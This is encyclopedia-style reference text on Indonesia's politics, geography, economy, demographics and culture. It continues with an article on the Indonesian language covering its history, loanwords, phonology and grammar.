          In 1997 and 1998, Indonesia was the country hardest hit by the Asian Financial Crisis. This increased popular discontent with the New Order and led to popular protests. Suharto resigned on 21 May 1998. In 1999, East Timor voted to secede from Indonesia, after a twenty-five-year occupation, which was marked by international condemnation of repression and human rights abuses. The Reformasi era following Suharto's resignation, has led to a strengthening of democratic processes, including a regional autonomy program, and the first direct presidential election in 2004. Political and economic instability, social unrest, corruption, and terrorism have slowed progress. Although relations among different religious and ethnic groups are largely harmonious, acute sectarian discontent and violence remain problems in some areas. A political settlement to an armed separatist conflict in Aceh was achieved in 2005.


          


          Government and politics


          Indonesia is a republic with a presidential system. As a unitary state, power is concentrated in the national government. Following the resignation of President Suharto in 1998, Indonesian political and governmental structures have undergone major reforms. Four amendments to the 1945 Constitution of Indonesia have revamped the executive, judicial, and legislative branches. The president of Indonesia is the head of state, commander-in-chief of the Indonesian Armed Forces, and the director of domestic governance, policy-making, and foreign affairs. The president appoints a council of ministers, who are not required to be elected members of the legislature. The 2004 presidential election was the first in which the people directly elected the president and vice president. The president serves a maximum of two consecutive five-year terms.
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          The highest representative body at national level is the People's Consultative Assembly (MPR). Its main functions are supporting and amending the constitution, inaugurating the president, and formalizing broad outlines of state policy. It has the power to impeach the president. The MPR comprises two houses; the People's Representative Council (DPR), with 550 members, and the Regional Representatives Council (DPD), with 168 members. The DPR passes legislation and monitors the executive branch; party-aligned members are elected for five-year terms by proportional representation. Reforms since 1998 have markedly increased the DPR's role in national governance. The DPD is a new chamber for matters of regional management.


          Most civil disputes appear before a State Court; appeals are heard before the High Court. The Supreme Court is the country's highest court, and hears final cassation appeals and conducts case reviews. Other courts include the Commercial Court, which handles bankruptcy and insolvency; a State Administrative Court to hear administrative law cases against the government; a Constitutional Court to hear disputes concerning legality of law, general elections, dissolution of political parties, and the scope of authority of state institutions; and a Religious Court to deal with specific religious cases.


          


          Foreign relations and military


          In contrast to Sukarno's anti-imperialistic antipathy to western powers and tensions with Malaysia, Indonesia's foreign relations approach since the Suharto "New Order" has been one of economic and political cooperation with Western nations. Indonesia maintains close relationships with its neighbors in Asia, and is a founding member of ASEAN and the East Asia Summit. The nation restored relations with the People's Republic of China in 1990 following a freeze in place since anti-communist purges early in the Suharto era. Indonesia has been a member of the United Nations since 1950, and was a founder of the Non-Aligned Movement (NAM) and the Organization of the Islamic Conference (OIC). Indonesia is signatory to the ASEAN Free Trade Area agreement, and a member of OPEC, the Cairns Group and the WTO. Indonesia has received humanitarian and development aid since 1966, in particular from the United States, western Europe, Australia, and Japan.
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          The Indonesian Government has worked with other countries to apprehend and prosecute perpetrators of major bombings linked to militant Islamism and Al-Qaeda. The deadliest killed 202 people (including 164 international tourists) in the Bali resort town of Kuta in 2002. The attacks, and subsequent travel warnings issued by other countries, have severely damaged Indonesia's tourism industry and foreign investment prospects.


          Indonesia's 300,000-member armed forces (TNI) include the Army (TNI-AD), Navy (TNI-AL, which includes marines), and Air Force (TNI-AU). The army has about 233,000 active-duty personnel. Defense spending in the national budget was 4% of GDP in 2006, and is controversially supplemented by revenue from military commercial interests and foundations. In the post-Suharto period since 1998, formal TNI representation in parliament has been removed; though curtailed, its political influence remains extensive. Separatist movements in the provinces of Aceh and Papua have led to armed conflict, and subsequent allegations of human rights abuses and brutality from all sides. Following a sporadic thirty year guerrilla war between the Free Aceh Movement (GAM) and the Indonesian military, a ceasefire agreement was reached in 2005. In Papua, there has been a significant, albeit imperfect, implementation of regional autonomy laws, and a reported decline in the levels of violence and human rights abuses, since the presidency of Susilo Bambang Yudhoyono.


          


          Administrative divisions
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          Administratively, Indonesia consists of 33 provinces, five of which have special status. Each province has its own political legislature and governor. The provinces are subdivided into regencies ( kabupaten) and ( kota), which are further subdivided into subdistricts ( kecamatan), and again into village groupings (either desa or kelurahan). Following the implementation of regional autonomy measures in 2001, the regencies and cities have become the key administrative units, responsible for providing most government services. The village administration level is the most influential on a citizen's daily life, and handles matters of a village or neighbourhood through an elected lurah or kepala desa (village chief).


          Aceh, Jakarta, Yogyakarta, Papua, and West Papua provinces have greater legislative privileges and a higher degree of autonomy from the central government than the other provinces. The Acehnese government, for example, has the right to create an independent legal system; in 2003, it instituted a form of Sharia (Islamic law). Yogyakarta was granted the status of Special Region in recognition of its pivotal role in supporting Indonesian Republicans during the Indonesian Revolution. Papua, formerly known as Irian Jaya, was granted special autonomy status in 2001. Jakarta is the country's special capital region.


          
            	Indonesian provinces and their capitals

          


          (Indonesian name in brackets where different from English) 

           indicates provinces with Special Status


          
            
              	
                Sumatra


                
                  	Aceh (Nanggroe Aceh Darussalam) - Banda Aceh


                  	North Sumatra (Sumatera Utara) - Medan


                  	West Sumatra (Sumatera Barat) - Padang


                  	Riau - Pekanbaru


                  	Riau Islands (Kepulauan Riau) - Tanjung Pinang


                  	Jambi - Jambi (city)


                  	South Sumatra (Sumatera Selatan) - Palembang


                  	Bangka-Belitung (Kepulauan Bangka-Belitung) - Pangkal Pinang


                  	Bengkulu - Bengkulu (city)


                  	Lampung - Bandar Lampung

                


                Java


                
                  	Jakarta - Jakarta


                  	Banten - Serang


                  	West Java (Jawa Barat) - Bandung


                  	Central Java (Jawa Tengah) - Semarang


                  	Yogyakarta Special Region - Yogyakarta (city)


                  	East Java (Jawa Timur) - Surabaya

                


                Lesser Sunda Islands


                
                  	Bali - Denpasar


                  	West Nusa Tenggara (Nusa Tenggara Barat) - Mataram


                  	East Nusa Tenggara (Nusa Tenggara Timur) - Kupang

                

              

              	
                Kalimantan


                
                  	West Kalimantan (Kalimantan Barat) - Pontianak


                  	Central Kalimantan (Kalimantan Tengah) - Palangkaraya


                  	South Kalimantan (Kalimantan Selatan) - Banjarmasin


                  	East Kalimantan (Kalimantan Timur) - Samarinda

                


                Sulawesi


                
                  	North Sulawesi (Sulawesi Utara) - Manado


                  	Gorontalo - Gorontalo (city)


                  	Central Sulawesi (Sulawesi Tengah) - Palu


                  	West Sulawesi (Sulawesi Barat) - Mamuju


                  	South Sulawesi (Sulawesi Selatan) - Makassar


                  	South East Sulawesi (Sulawesi Tenggara) - Kendari

                


                Maluku islands


                
                  	Maluku - Ambon


                  	North Maluku (Maluku Utara) - Ternate

                


                Papua


                
                  	West Papua (Papua Barat) - Manokwari


                  	Papua - Jayapura

                

              
            

          


          


          Geography


          
            [image: Map of Indonesia]

            
              Map of Indonesia
            

          


          Indonesia consists of 17,508 islands, about 6,000 of which are inhabited. These are scattered over both sides of the equator. The five largest islands are Java, Sumatra, Kalimantan (the Indonesian part of Borneo), New Guinea (shared with Papua New Guinea), and Sulawesi. Indonesia shares land borders with Malaysia on the island of Borneo, Sebatik, Papua New Guinea on the island of New Guinea, and East Timor on the island of Timor. Indonesia also shares borders with Singapore, Malaysia, and the Philippines to the north and Australia to the south across narrow straits of water. The capital, Jakarta, is on Java and is the nation's largest city, followed by Surabaya, Bandung, Medan, and Semarang.


          At 1,919,440square kilometers (741,050sqmi), Indonesia is the world's 16th-largest country in terms of land area. Its average population density is 134people per square kilometer (347per sqmi), 79th in the world, although Java, the world's most populous island, has a population density of 940people per square kilometer (2,435per sqmi). At 4,884meters (16,024ft), Puncak Jaya in Papua is Indonesia's highest peak, and Lake Toba in Sumatra its largest lake, with an area of 1,145square kilometers (442sqmi). The country's largest rivers are in Kalimantan, and include the Mahakam and Barito; such rivers are communication and transport links between the island's river settlements.
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          Indonesia's location on the edges of the Pacific, Eurasian, and Australian tectonic plates, makes it the site of numerous volcanoes and frequent earthquakes. Indonesia has at least 150 active volcanoes, including Krakatoa and Tambora, both famous for their devastating eruptions in the 19th century. The eruption of the Toba supervolcano, approximately 70,000 years ago, was one of the largest eruptions ever, and a global catastrophe. Recent disasters due to seismic activity include the 2004 tsunami that killed an estimated 167,736 in northern Sumatra, and the Yogyakarta earthquake in 2006. However, volcanic ash is a major contributor to the high agricultural fertility that has historically sustained the high population densities of Java and Bali.


          Lying along the equator, Indonesia has a tropical climate, with two distinct monsoonal wet and dry seasons. Average annual rainfall in the lowlands varies from 1,7803,175millimeters (70125in), and up to 6,100millimeters (240in) in mountainous regions. Mountainous areasparticularly in the west coast of Sumatra, West Java, Kalimantan, Sulawesi, and Papuareceive the highest rainfall. Humidity is generally high, averaging about 80%. Temperatures vary little throughout the year; the average daily temperature range of Jakarta is 2630C (7986F).


          


          Ecology
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          Indonesia's size, tropical climate, and archipelagic geography, support the world's second highest level of biodiversity (after Brazil), and its flora and fauna is a mixture of Asian and Australasian species. Once linked to the Asian mainland, the islands of the Sunda Shelf (Sumatra, Borneo, Java, Borneo, and Bali) have a wealth of Asian fauna. Large species such as the tiger, rhinoceros, orangutan, elephant, and leopard, were once abundant as far east as Bali, but numbers and distribution have dwindled drastically.


          Forests cover approximately 60% of the country. In Sumatra and Kalimantan, these are predominantly of Asian species. However, the forests of the smaller, and more densely populated Java, have largely been removed for human habitation and agriculture. Sulawesi, Nusa Tenggara, and Malukuhaving been long separated from the continental landmasseshave developed their own unique flora and fauna. Papua was part of the Australian landmass, and is home to a unique fauna and flora closely related to that of Australia, including over 600 bird species.


          Indonesia's 80,000kilometers (50,000mi) of coastline are surrounded by tropical seas that contribute to the country's high level of biodiversity. Indonesia has a range of sea and coastal ecosystems, including beaches, sand dunes, estuaries, mangroves, coral reefs, sea grass beds, coastal mudflats, tidal flats, algal beds, and small island ecosystems.


          The British naturalist, Alfred Wallace, described a dividing line between the distribution of Indonesia's Asian and Australasian species. Known as the Wallace Line, it runs roughly north-south along the edge of the Sunda Shelf, between Kalimantan and Sulawesi, and along the deep Lombok Strait, between Lombok and Bali. West of the line the flora and fauna are more Asian; moving east from Lombok, they are increasingly Australian. In his 1869 book, The Malay Archipelago, Wallace described numerous species unique to the surrounding area, which is now termed Wallacea.


          Indonesia's high population and rapid industrialization present serious environmental issues, which are often given a lower priority due to high poverty levels and weak, under-resourced governance. Issues include large-scale deforestation (much of it illegal) and related wildfires causing heavy smog over parts of western Indonesia, Malaysia and Singapore; over-exploitation of marine resources; and environmental problems associated with rapid urbanization and economic development, including air pollution, traffic congestion, garbage management, and reliable water and waste water services. Habitat destruction threatens the survival of indigenous and endemic species, including 140 species of mammals identified by the World Conservation Union (IUCN) as threatened, and 15 identified as critically endangered, including the Sumatran Orangutan.


          


          Economy
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          Indonesia's estimated Gross Domestic Product (GDP) for 2007 is US$408 billion (US$1,038 bn PPP). In 2007, estimated nominal per capita GDP is US$1,812, and per capita GDP PPP was US$4,616 ( International Dollars). The services sector is the economy's largest and accounts for 45.3% of GDP (2005). This is followed by industry (40.7%) and agriculture (14.0%). However, agriculture employs more people than other sectors, accounting for 44.3% of the 95 million-strong workforce. This is followed by the services sector (36.9%) and industry (18.8%). Major industries include petroleum and natural gas, textiles, apparel, and mining. Major agricultural products include palm oil, rice, tea, coffee, spices, and rubber.


          Indonesia's main export markets (2005) are Japan (22.3%), the United States (13.9%), China (9.1%), and Singapore (8.9%). The major suppliers of imports to Indonesia are Japan (18.0%), China (16.1%), and Singapore (12.8%). In 2005, Indonesia ran a trade surplus with export revenues of US$83.64 billion and import expenditure of US$62.02 billion. The country has extensive natural resources, including crude oil, natural gas, tin, copper, and gold. Indonesia's major imports include machinery and equipment, chemicals, fuels, and foodstuffs.
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          In the 1960s, the economy deteriorated drastically as a result of political instability, a young and inexperienced government, and ill-disciplined economic nationalism, which resulted in severe poverty and hunger. Following President Sukarno's downfall in the mid-1960s, the New Order administration brought a degree of discipline to economic policy that quickly brought inflation down, stabilized the currency, rescheduled foreign debt, and attracted foreign aid and investment. Indonesia is Southeast Asia's only member of OPEC, and the 1970s oil price raises provided an export revenue windfall that contributed to sustained high economic growth rates. Following further reforms in the late 1980s, foreign investment flowed into Indonesia, particularly into the rapidly developing export-orientated manufacturing sector, and from 1989 to 1997, the Indonesian economy grew by an average of over 7%.


          Indonesia was the country hardest hit by the East Asian financial crisis of 199798. Against the US dollar, the currency dropped from about Rp. 2,000 to Rp. 18,000, and the economy shrunk by 13.7%. The rupiah has since stabilized at around Rp. 10,000, and there has been a slow but significant economic recovery. Political instability since 1998, slow economic reform, and corruption at all levels of government and business, have contributed to the patchy nature of the recovery. ( Transparency International, for example, ranked Indonesia 143rd out of 180 countries in its 2007 Corruption Perceptions Index). GDP growth, however, exceeded 5% in both 2004 and 2005, and is forecast to increase further. This growth rate, however, is not enough to make a significant impact on unemployment, and stagnant wages growth, and increases in fuel and rice prices have worsened poverty levels. As of 2006, an estimated 17.8% of the population live below the poverty line, and 49.0% of the population live on less than US$2 per day.


          


          Demographics


          The national population from the 2000 national census is 206 million, and the Indonesian Central Statistics Bureau and Statistics Indonesia estimate a population of 222 million for 2006. 130 million people live on the island of Java, the world's most populous island. Despite a fairly effective family planning program, which has been in place since the 1960s, the population is expected to grow to around 315 million in 2035, based on the current estimated annual growth rate of 1.25%.
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          Most Indonesians are descendant from Austronesian-speaking peoples, who originated from Taiwan. The other major grouping are Melanesians, who inhabit eastern Indonesia. There are around 300 distinct native ethnicities in Indonesia, and 742 different languages and dialects. The largest is the Javanese, who comprise 42% of the population, and are politically and culturally dominant. The Sundanese, ethnic Malays, and Madurese are the largest non-Javanese groups. A sense of Indonesian nationhood exists alongside strongly maintained regional identities. Society is largely harmonious, although social, religious and ethnic tensions have triggered horrendous violence. Chinese Indonesians are an influential ethnic minority comprising less than 2% of the population. Much of the country's privately-owned commerce and wealth is Chinese-controlled, which has contributed to considerable resentment, and even anti-Chinese violence.


          The official national language, Indonesian, is universally taught in schools, and is spoken by nearly every Indonesian. It is the language of business, politics, national media, education, and academia. It was originally a lingua franca for most of the region, including present-day Malaysia, and is thus closely related to Malay. Indonesian was first promoted by nationalists in the 1920s, and declared the official language on independence in 1945. Most Indonesians speak at least one of the several hundred local languages (bahasa daerah), often as their first language. Of these, Javanese is the most widely-spoken, the language of the largest ethnic group. On the other hand, Papua has 500 or more indigenous Papuan and Austronesian languages, in a region of just 2.7 million people.
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          Although religious freedom is stipulated in the Indonesian constitution, the government officially recognizes only six religions: Islam; Protestantism; Roman Catholicism; Hinduism; Buddhism; and Confucianism. Although it is not an Islamic state, Indonesia is the world's most populous Muslim-majority nation, with almost 86% of Indonesians declared Muslim according to the 2000 census. 11% of the population is Christian, 2% are Hindu, and 1% Buddhist. Most Indonesian Hindus are Balinese, and most Buddhists in modern-day Indonesia are ethnic Chinese. Though now minority religions, Hinduism and Buddhism remain defining influences in Indonesian culture. Islam was first adopted by Indonesians in northern Sumatra in the 13th century, through the influence of traders, and became the country's dominant religion by the 16th century. Roman Catholicism was brought to Indonesia by early Portuguese colonialists and missionaries, and the Protestant denominations are largely a result of Dutch Calvinist and Lutheran missionary efforts during the country's colonial period. A large proportion of Indonesianssuch as the Javanese abangan, Balinese Hindus, and Dayak Christianspractice a less orthodox, syncretic form of their religion, which draws on local customs and beliefs.


          


          Culture
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          Indonesia has around 300 ethnic groups, each with cultural differences developed over centuries, and influenced by Arabic, Chinese, Malay, and European sources. Traditional Javanese and Balinese dances, for example, contain aspects of Hindu culture and mythology, as do wayang kulit (shadow puppet) performances. Textiles such as batik, ikat and songket are created across Indonesia in styles that vary by region. The most dominant influences on Indonesian architecture have traditionally been Indian; however, Chinese, Arab, and European architectural influences have been significant. The most popular sports in Indonesia are badminton and football; Liga Indonesia is the country's premier football club league. Traditional sports include sepak takraw, and bull racing in Madura. In areas with a history of tribal warfare, mock fighting contests are held, such as, caci in Flores, and pasola in Sumba. Pencak Silat is an Indonesian martial art. Sports in Indonesia are generally male-orientated and spectator sports are often associated with illegal gambling.
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          Indonesian cuisine varies by region and is based on Chinese, European, Middle Eastern, and Indian precedents. Rice is the main staple food and is served with side dishes of meat and vegetables. Spices (notably chili), coconut milk, fish and chicken are fundamental ingredients. Indonesian traditional music includes gamelan and keroncong. Dangdut is a popular contemporary genre of pop music that draws influence from Arabic, Indian, and Malay folk music. The Indonesian film industry's popularity peaked in the 1980s and dominated cinemas in Indonesia, although it declined significantly in the early 1990s. Between 2000 and 2005, the number of Indonesian films released each year has steadily increased.


          The oldest evidence of writing in Indonesia is a series of Sanskrit inscriptions dated to the 5th century CE. Important figures in modern Indonesian literature include: Dutch author Multatuli, who criticized treatment of the Indonesians under Dutch colonial rule; Sumatrans Muhammad Yamin and Hamka, who were influential pre-independence nationalist writers and politicians; and proletarian writer Pramoedya Ananta Toer, Indonesia's most famous novelist. Many of Indonesia's peoples have strongly-rooted oral traditions, which help to define and preserve their cultural identities. Media freedom in Indonesia increased considerably after the end of President Suharto's rule, during which the now-defunct Ministry of Information monitored and controlled domestic media, and restricted foreign media. The TV market includes ten national commercial networks, and provincial networks that compete with public TVRI. Private radio stations carry their own news bulletins and foreign broadcasters supply programs. At a reported 18 million users in 2005, Internet usage is limited to a minority of the population.
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              	Indonesian

              Bahasa Indonesia
            


            
              	Spokenin:

              	Indonesia, East Timor
            


            
              	Region:

              	Southeast Asia
            


            
              	Totalspeakers:

              	about 200 million (17 million native speakers)
            


            
              	Ranking:

              	52 (by native speakers)
            


            
              	Language family:

              	Austronesian

               Malayo-Polynesian

               Nuclear Malayo-Polynesian

               Sunda-Sulawesi

               Malayic

               Malayan

               Local Malay

              Indonesian
            


            
              	Writing system:

              	Latin alphabet
            


            
              	Official status
            


            
              	Official language in:

              	Indonesia
            


            
              	Regulated by:

              	Pusat Bahasa
            


            
              	Language codes
            


            
              	ISO 639-1:

              	id
            


            
              	ISO 639-2:

              	ind
            


            
              	ISO 639-3:

              	ind
            


            
              	Note: This page may contain IPA phonetic symbols in Unicode.
            

          


          Indonesian or Bahasa Indonesia, based on the Riau version of Malay language, was declared the official language with the declaration of Indonesia's independence in 1945, following the 1928 "unifying language" declaration in the Indonesian Youth Pledge.


          With fluency approaching 100% among the quarter billion inhabitants of the world's fourth most populous nation, Bahasa Indonesia has become one of the most widely spoken languages in the world. Most Indonesians, aside from speaking the national language, are often fluent in another regional language or local dialect (examples include Minangkabau, Sundanese and Javanese) which are commonly used at home and within the local community. Most formal education, as well as nearly all national media and other forms of communication, are conducted in Indonesian. In East Timor, which was an Indonesian province from 1975 to 1999, the Indonesian language is recognised by the constitution as one of the two working languages (the other is English, alongside the official languages of Tetum and Portuguese).


          The Indonesian name for the language is Bahasa Indonesia (lit. "the language of Indonesia"). This term can sometimes still be found in written or spoken English. In addition, the language is sometimes referred to as "Bahasa" by English-speakers, though this simply means "language" and thus is also not an official term for the Indonesian language.


          


          Linguistics


          To a certain degree, Indonesian can be regarded as an open language. Over the years, foreign languages such as Sanskrit, Tamil, Chinese, Arabic, Portuguese, Dutch and English have influenced and expanded the Indonesian language, mostly through trade contacts and international media.


          Because of its semi-open status, there are those who regard Indonesian (as well as other forms of Malay) as lacking sufficient vocabularly and specialist terminologies. Yet some linguists consider this view to be a misconception, as a vast majority of foreign adopted words also have sufficient native equivalents. For example, the word asimilasi (from the Dutch word assimilatie) can also be expressed in Indonesian as penggabungan. Many words describing more modern inventions, objects or ideas are often Indonesianised adoptions of foreign words (e.g. computer becomes komputer), although many of these words also have native Indonesian equivalents. For example, a "cell/mobile phone" can be referred to in Indonesian as either pon-sel/ telepon seluler (lit. cellular-telephone), HP (pronounced hah-ph - the acronymic form of hand phone) or telepon genggam (lit. "hold-in-the-hand telephone"). Other words such as "rice cooker" may be referred to simply as "rice cooker" or, again, in a more native Indonesian/ Malay form, as penanak nasi (a word formed from the verb menanak, meaning 'to cook rice by boiling' + nasi, meaning 'cooked rice'). Overall, the use of native and non-native words in Indonesian is equally common and reflects the country's efforts towards modernization and globalization.


          In the initial stages of study, many aspects of Indonesian grammar are relatively simple, making it one of the easier languages to learn for adults. This is because Indonesian does not require conjugation of verb tenses or participles, plural forms, articles and gender distinction for the third person pronouns. Although, it is important to note that neither do many other languages traditionally regarded as 'complex', including Chinese (see Chinese grammar) and Thai for example. In spite of this, Indonesian and Malay are regarded as easier languages to learn because they are non- tonal languages and no longer use complex characters within their writing system, instead utilizing the Latin alphabet. Similar cases can also be seen in other Southeast Asian languages such as Vietnamese and Tagalog.


          However, Indonesian does possess a complex system of affixations. The absence of tenses in the language is substituted through the use of many aspect particles and (as with any language) Indonesian grammar often presents an array of exceptions and inconsistencies. Also, the simplicity of Indonesian grammar at a beginners or basic level has the disadvantage of misleading many learners of the language into thinking that more advanced Indonesian grammar is just as simple.


          


          History


          Indonesian is a normative form of the Malay language, an Austronesian (or Malayo-Polynesian) language which has been used as a lingua franca in the Indonesian archipelago for centuries. It was elevated to the status of official language with the Indonesian declaration of independence in 1945, drawing inspiration from the Sumpah Pemuda (Youth's Oath) event in 1928.


          The earliest known inscription in Malay language was found in sumatra dates back to 7th century - known as Kedukan Bukit Inscription discovered by the Dutchman M. Batenburg on 29 November 1920 at Kedukan Bukit, South Sumatra, on the banks of the River Tatang, a tributary of the River Musi. It is a small stone of 45 by 80 cm.


          

          Because of its origins, Indonesian (in its most standard form) is mutually intelligible with the official Malaysian Malay. However, it does differ from Malaysian Malay in some aspects, with differences in pronunciation, diction, spelling, accent and vocabulary. These differences are mainly due to the Dutch and Javanese influences on Indonesian.


          Whilst Indonesian is spoken as a mother tongue (first language) by only a small proportion of Indonesia's large population (i.e. mainly those who reside within the vicinity of Jakarta), over 200 million people regularly make use of the national language - some with varying degrees of proficiency. In a nation which boasts more than 300 native languages and a vast array of ethnic groups, the use of proper or 'good and correct' Indonesian (as opposed to Indonesian slang or regional dialects) is an essential means of communication across the archipelago. Use of the national language is abundant in the media, government bodies, schools, universities, workplaces, amongst members of the Indonesian upper-class or nobility and also in many other formal situations.


          Most native speakers of Indonesian would agree that the standard, correct version of the Indonesian language is rarely used in daily communication. One can find standard and correct Indonesian in books and newspapers, or listen to it when watching the news or television/radio broadcasts, but few native Indonesian speakers use formally correct language in their daily conversations. While this is a phenomenon common to most languages in the world (for example, spoken English does not always correspond to written standards), the degree of "correctness" of spoken Indonesian (in terms of grammar and vocabulary) by comparison to its written form is noticeably low. This is mostly due to the fact that most Indonesians tend to combine certain aspects of their own local languages (eg. Javanese, Sundanese, Balinese, and even Chinese dialects, particularly Hokkien) with Indonesian. The result is the creation of various types of 'regional' Indonesian, the very types that a foreigner is most likely to hear upon arriving in any Indonesian city or town. This phenomenon is exacerbated by the use of Indonesian slang, particularly in the cities. A classic example of a speaker of accented Indonesian is former president Suharto, whose Javanese accent came through whenever he delivered a speech.


          The Dutch colonisation left an imprint on the Indonesian language that can be seen in words such as polisi (police), kualitas/kwaliteit (quality), wortel (carrot), kamar (room, chamber), rokok (cigarette), korupsi (corruption), persneling (gear), kantor (office), and resleting (zipper). Alongside Malay, Portuguese was the lingua franca for trade throughout the archipelago from the sixteenth century through to the early nineteenth century. Indonesian words derived from Portuguese include sabun (soap), meja (table), boneka (doll), jendela (window), gereja (church), bendera (flag) and Minggu (from domingo = Sunday). Some of the many words of Chinese origin (presented here with accompanying Hokkien/ Mandarin pronunciation derivatives as well as traditional and simplified characters) include pisau (匕首 bǐshǒu - knife), loteng, (楼/层 = lu/cng - [upper] floor/ level), mie (麵 > 面 mi'n - noodles), lumpia (潤餅 (Hokkien = lūn-piⁿ) - springroll), cawan, (茶碗 chwǎn - teacup), teko (茶壺 > 茶壶 = chh [Mandarin], teh-ko [Hokkien] = teapot) and even the widely used slang terms gua and lu (from the Hokkien 'goa' 我 and 'lu/li' 你 - meaning 'I/ me' and 'you'). From Sanskrit came words such as kaca (glass, mirror), raja (king), manusia (mankind) b(h)umi (earth) and agama (religion). Words of Arabic origin include k(h)abar (news), selamat/ salam (a greeting), dunia (world), and kamus (dictionary). There are also words derived from Javanese, e.g. aku (meaning I/ me (informal) and its derivative form, mengaku (to admit or confess). Through earlier influence of South Indian Tamil Chola empire that ruled over the region, many Tamil and Sanskrit words may be found in Bahasa Indonesia such as kapal (ship in Tamil), kolam (lake in Tamil) and kedai (shop in Tamil).


          


          Classification


          The Indonesian language is part of the Western Malayo-Polynesian subgroup of the Malayo-Polynesian branch of the Austronesian languages. According to the Ethnologue, Indonesian is modelled after Riau Malay, a form of Old Malay originally spoken in Northeast Sumatra.


          


          Geographic distribution


          
            [image: This is a Map of where Indonesian is predominantly spoken. Dark green represents where Indonesian is spoken as a major language. Light green represents where it is a minority language.]

            
              This is a Map of where Indonesian is predominantly spoken. Dark green represents where Indonesian is spoken as a major language. Light green represents where it is a minority language.
            

          


          The language is spoken throughout Indonesia (and East Timor), although it is used most extensively as a first language in urban areas and usually as a second or third language in more rural parts of Indonesia. It is also spoken by an additional 1.5+ million people worldwide, particularly in the Netherlands, the Philippines and Malaysia. Also spoken as daily language in some parts of Australia ( mostly in Christmas Island and Cocos (Keeling) Islands ), Brunei, Singapore, some parts of Thailand ( Southern Thailand ), East Timor, Saudi Arabia, Suriname, New Caledonia, and the United States.


          


          Official status


          Indonesian is the official language of Indonesia.


          


          Sounds


          


          Phonology


          The following are phonemes of modern Indonesian.


          
            
              Vowels
            

            
              	

              	Front

              	Central

              	Back
            


            
              	Close

              	iː

              	

              	uː
            


            
              	Close-mid

              	e

              	ə

              	o
            


            
              	Open-mid

              	(ɛ)

              	

              	(ɔ)
            


            
              	Open

              	a

              	

              	
            

          


          Indonesian also has the diphthongs /ai/, /au/, and /oi/. In closed syllables, such as air (water), however, the two vowels are not pronounced as a diphthong.


          
            
              Consonants
            

            
              	

              	Labial

              	Apical

              	Postalveolar

              	Palatal

              	Velar

              	Glottal
            


            
              	Nasal

              	m

              	n

              	


              	ɲ

              	ŋ

              	
            


            
              	Plosive

              	p b

              	t d

              	

              	

              	k g

              	ʔ
            


            
              	Affricate

              	

              	

              	ʧ ʤ

              	

              	

              	
            


            
              	Fricative

              	(f)

              	s (z)

              	(ʃ)

              	

              	(x)

              	h
            


            
              	Liquid

              	

              	l r

              	

              	

              	

              	
            


            
              	Approximant

              	w

              	

              	

              	j

              	

              	
            

          


          Note: The vowels between parentheses are allophones while the consonants in parentheses are loan phonemes and as such only occur in loanwords.


          


          Learning pronunciation


          Here are a few useful tips for the learner:


          
            	/k/, /p/, and /t/ are unaspirated, i.e. they are not followed by a noticeable puff of air as they often are in English words.


            	/t/ and /d/ are dental, rather than alveolar as in English.


            	When /k/ is at the end of a syllable it becomes a glottal stop, which sounds like it is cut off sharply e.g. baik, bapak. This is similar to a number of English dialects where final /t/ is glottalized ("got", "what"). Only a few Indonesian words have this sound in the middle, e.g. bakso ("meatballs"), and it may be represented by an apostrophe in Arabic derived words such as Al Qur'an.


            	The letter 'c' is pronounced /tʃ/, like an English ch, e.g. kucing (meaning "cat") is pronounced /kutʃiŋ/ ("koo-cheeng"). It is never pronounced /k/ as in "call" or /s/ as in "certain".


            	Stress is placed on the penultimate (second-to-last) syllable of each base word. But if this syllable contains a schwa then the accent moves to the last syllable.

          


          For more, and to listen to examples, see SEASite Guide to Pronunciation of Indonesian


          


          Grammar


          


          Word order


          Adjectives, demonstrative pronouns and possessive pronouns follow the noun they modify.


          The basic word order of Indonesian is Subject Verb Object (SVO). However many Indonesians will speak in a passive/objective voice, making use of the Object Verb Subject word order. This OVS word order in Indonesian will often permit the omission of the subject and/or object (i.e. ellipses of noun/pronoun) and can benefit the speaker/writer in two ways:


          1) Adding a sense of politeness and respect to a statement or question


          For example, a polite shop assistant in a store may avoid the use of pronouns altogether and ask:


          
            
              	Ellipses of pronoun (Subject & Object)

              	Literal English

              	Idiomatic English
            


            
              	Bisa dibantu?

              	Can + to be helped?

              	Can (I) help (you)?
            

          


          2) Convenience when the subject is unknown, not important or implied by context


          For example, a friend may enquire as to when you bought your property, to which you may respond:


          
            
              	Ellipses of pronoun (Implied Subject)

              	Literal English

              	Idiomatic English
            


            
              	Rumah ini dibeli lima tahun yang lalu

              	House this + to be purchased five year(s) ago

              	The house was purchased five years ago
            

          


          Ultimately, the choice between active and passive voice (and therefore word order) is a choice between actor and patient and depends quite heavily on the language style and context.


          


          Word Formation


          Indonesian is an agglutinative language and new words are generally formed via three methods. New words can be created through affixation (the attaching of affixes onto root words), formation of a compound word (a composition of two or more separate words), or reduplication (repetition of words or portions of words).


          


          Adjectives


          Unlike in English, adjectives in the Indonesian language follow the nouns that they describe:


          
            
              	Indonesian

              	English literal gloss

              	English free translation
            


            
              	Mobil merah

              	Car red

              	Red car
            


            
              	Dia orang yang terkenal sekali

              	He/she person which well-known very

              	He/she is a very famous/well-known person
            


            
              	(Sebuah) cerita panjang

              	(A) story long

              	A long story
            

          


          


          Affixation


          The Indonesian language utilises a complex system of affixes (i.e. prefix, infix, suffix and confix (circumfix)). Affixes are applied with certain rules which depend on the initial letter of a base word (BW = base word, eg. a habitual verb, adjective, etc in its simplest form), and/or the sound combination of the second syllable. For example:


          
            	The affix Ber + ajar (teach) = BeLajar (Note the deletion of 'R' and the addition of 'L')

          


          = to study


          
            	The affixes Me + ajar + -kan = meNGajarkan (Note the addition of 'NG')

          


          = to teach (transitive)


          By comparison


          
            	The affix Ber + judi (gamble) = Berjudi (Note that Ber- remains unchanged)

          


          = to gamble


          
            	The affixes Me + judi + -kan = meNjudikan (Note the addition of 'N')

          


          = to gamble away (money, one's life, etc)


          

          Also, depending on the affix used, a word can have different grammatical meanings (e.g. me + makan (memakan) means to eat something (in the sense of digesting it), while di + makan (dimakan) means to be eaten (passive voice), ter + makan (termakan) means to be accidentally eaten. Often two different affixes are used to change the meaning of a word. For example, duduk means to sit down, whereas men + duduk + kan (mendudukkan) means to sit someone/ something down. Men + duduk + i (menduduki) means to sit on something, di + duduk + kan (didudukkan) means to be sat down, diduduki (diduduki) means to be sat on, etc).


